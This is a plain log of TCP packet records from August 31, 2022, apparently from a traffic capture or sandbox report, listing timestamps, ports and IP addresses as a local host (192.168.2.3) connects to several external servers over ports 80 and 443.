Aug 31, 2022 08:34:15.960319996 CEST	49750	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:16.119311094 CEST	80	49750	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:17.380511045 CEST	49752	80	192.168.2.3	151.251.24.5
Aug 31, 2022 08:34:17.440587997 CEST	80	49752	151.251.24.5	192.168.2.3
Aug 31, 2022 08:34:17.440712929 CEST	49752	80	192.168.2.3	151.251.24.5
Aug 31, 2022 08:34:17.440815926 CEST	49752	80	192.168.2.3	151.251.24.5
Aug 31, 2022 08:34:17.440839052 CEST	49752	80	192.168.2.3	151.251.24.5
Aug 31, 2022 08:34:17.500600100 CEST	80	49752	151.251.24.5	192.168.2.3
Aug 31, 2022 08:34:17.774689913 CEST	80	49752	151.251.24.5	192.168.2.3
Aug 31, 2022 08:34:17.774717093 CEST	80	49752	151.251.24.5	192.168.2.3
Aug 31, 2022 08:34:17.774816036 CEST	49752	80	192.168.2.3	151.251.24.5
Aug 31, 2022 08:34:17.775042057 CEST	49752	80	192.168.2.3	151.251.24.5
Aug 31, 2022 08:34:17.834438086 CEST	80	49752	151.251.24.5	192.168.2.3
Aug 31, 2022 08:34:17.998195887 CEST	49754	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:18.120713949 CEST	80	49754	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:18.120841026 CEST	49754	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:18.120935917 CEST	49754	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:18.122236013 CEST	49754	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:18.243629932 CEST	80	49754	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:18.534883022 CEST	80	49754	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:18.534910917 CEST	80	49754	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:18.535062075 CEST	49754	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:18.535368919 CEST	49754	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:18.655692101 CEST	80	49754	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:18.655708075 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:18.655751944 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:18.655837059 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:18.656899929 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:18.656923056 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:18.886964083 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:18.887099981 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:18.893179893 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:18.893198967 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:18.893515110 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:18.910166979 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:18.951368093 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.132942915 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.133017063 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.133060932 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.137439013 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.137460947 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.137522936 CEST	49755	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.137531042 CEST	443	49755	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.268089056 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.268158913 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.268251896 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.268568039 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.268595934 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.484078884 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.484200954 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.485975027 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.486016989 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.486268997 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.492305994 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.535403967 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.788443089 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.852569103 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.852612019 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.893996954 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894018888 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894103050 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894124031 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894134045 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894145012 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894164085 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894176960 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894182920 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894187927 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894201994 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894212008 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894212961 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894226074 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894233942 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894253016 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894285917 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894314051 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894329071 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894335032 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894341946 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.894370079 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894382000 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.894445896 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:19.999855042 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:19.999891043 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.000070095 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.000097990 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.000149012 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.000185013 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.000227928 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.000255108 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.000324011 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.000327110 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.000339985 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.000377893 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.001177073 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.001252890 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.001303911 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.001315117 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.001357079 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.056215048 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.105742931 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.105766058 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.105845928 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.105870008 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.105951071 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.105967045 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.106007099 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.106030941 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.106165886 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.106199980 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.106230021 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.106251001 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.106296062 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.106705904 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.106782913 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.106805086 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.106826067 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.106847048 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.107768059 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.107822895 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.107878923 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.107888937 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.107918978 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.107950926 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.108470917 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.108505011 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.108542919 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.108560085 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.108587980 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.108606100 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.109093904 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.109127998 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.109181881 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.109198093 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.109242916 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.109246969 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.146907091 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.146939039 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.147099972 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.147154093 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.150178909 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.211855888 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.212701082 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.212747097 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.212801933 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.212832928 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.212855101 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.212874889 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.213798046 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.213846922 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.213896036 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.213917971 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.213937044 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.213953018 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.215010881 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.215076923 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.215167046 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.215193033 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.215210915 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.215229988 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.215521097 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.215569019 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.215607882 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.215625048 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.215646029 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.215661049 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.215666056 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.216409922 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.216478109 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.216522932 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.216533899 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.216558933 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.217143059 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.217192888 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.217231035 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.217246056 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.217267036 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.217652082 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.217716932 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.217729092 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.217765093 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.217775106 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.217869043 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.217896938 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.217907906 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.217916965 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:20.217921019 CEST	49756	443	192.168.2.3	206.221.182.74
Aug 31, 2022 08:34:20.217925072 CEST	443	49756	206.221.182.74	192.168.2.3
Aug 31, 2022 08:34:22.209754944 CEST	49757	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:22.334247112 CEST	80	49757	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:22.334861994 CEST	49757	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:22.352533102 CEST	49757	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:22.352550030 CEST	49757	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:22.478503942 CEST	80	49757	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:22.754422903 CEST	80	49757	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:22.754455090 CEST	80	49757	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:22.754626036 CEST	49757	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:22.803756952 CEST	49757	80	192.168.2.3	195.158.3.162
Aug 31, 2022 08:34:22.928389072 CEST	80	49757	195.158.3.162	192.168.2.3
Aug 31, 2022 08:34:23.705715895 CEST	49758	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:23.870759010 CEST	80	49758	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:23.870981932 CEST	49758	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:23.885046005 CEST	49758	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:23.885083914 CEST	49758	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:24.047205925 CEST	80	49758	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:24.537010908 CEST	80	49758	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:24.537029982 CEST	80	49758	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:24.537208080 CEST	49758	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:25.001225948 CEST	49758	80	192.168.2.3	187.195.146.2
Aug 31, 2022 08:34:25.163711071 CEST	80	49758	187.195.146.2	192.168.2.3
Aug 31, 2022 08:34:25.317342997 CEST	49759	443	192.168.2.3	172.67.137.109
Aug 31, 2022 08:34:25.317389965 CEST	443	49759	172.67.137.109	192.168.2.3
Aug 31, 2022 08:34:25.317465067 CEST	49759	443	192.168.2.3	172.67.137.109
Aug 31, 2022 08:34:25.318047047 CEST	49759	443	192.168.2.3	172.67.137.109
Aug 31, 2022 08:34:25.318063021 CEST	443	49759	172.67.137.109	192.168.2.3
Aug 31, 2022 08:34:25.399787903 CEST	443	49759	172.67.137.109	192.168.2.3
Aug 31, 2022 08:34:25.399966002 CEST	49759	443	192.168.2.3	172.67.137.109
Aug 31, 2022 08:34:25.403886080 CEST	49759	443	192.168.2.3	172.67.137.109
Aug 31, 2022 08:34:25.403908014 CEST	443	49759	172.67.137.109	192.168.2.3
Aug 31, 2022 08:34:25.404150963 CEST	443	49759	172.67.137.109	192.168.2.3
Aug 31, 2022 08:34:25.413975954 CEST	49759	443	192.168.2.3	172.67.137.109
Aug 31, 2022 08:34:25.455384970 CEST	443	49759	172.67.137.109	192.168.2.3
Aug 31, 2022 08:34:25.905364037 CEST	443	49759	172.67.137.109	192.168.2.3
Aug 31, 2022 08:34:25.905755043 CEST	49759	443	192.168.2.3	172.67.137.109
Aug 31, 2022 08:34:25.935935020 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:25.935986996 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:25.936080933 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:25.936439991 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:25.936458111 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:25.990797997 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:25.991033077 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:25.993124008 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:25.993135929 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:25.993391037 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:25.994318962 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.039381027 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044251919 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044352055 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044421911 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044445038 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.044465065 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044523954 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.044533014 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044559956 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044641018 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.044650078 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044718981 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044771910 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.044779062 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044867992 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.044917107 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.044924021 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045006037 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045053005 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.045063019 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045126915 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045207024 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.045213938 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045305014 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045351028 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.045357943 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045445919 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045490980 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.045497894 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045559883 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045607090 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.045614004 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045684099 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045727015 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.045734882 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045797110 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045841932 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.045850039 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045916080 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.045967102 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.045975924 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046035051 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046081066 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.046088934 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046148062 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046188116 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.046195984 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046260118 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046312094 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.046319962 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046380997 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046427965 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.046435118 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046494007 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046541929 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.046550035 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046612024 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046658993 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.046667099 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046727896 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046773911 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.046786070 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.046952963 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.047029018 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.047039032 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.061038971 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.061136961 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.061155081 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.061203003 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062083960 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062180042 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062194109 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062205076 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062241077 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062257051 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062367916 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062433958 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062469959 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062537909 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062580109 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062638044 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062679052 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062736988 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062772989 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062829971 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062870026 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.062930107 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.062968016 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.063031912 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.063066006 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.063122988 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.063150883 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.063210964 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.063237906 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.063297033 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.063333988 CEST	443	49760	188.114.97.3	192.168.2.3
Aug 31, 2022 08:34:26.063397884 CEST	49760	443	192.168.2.3	188.114.97.3
Aug 31, 2022 08:34:26.063461065 CEST	443	49760	188.114.97.3	192.168.2.3
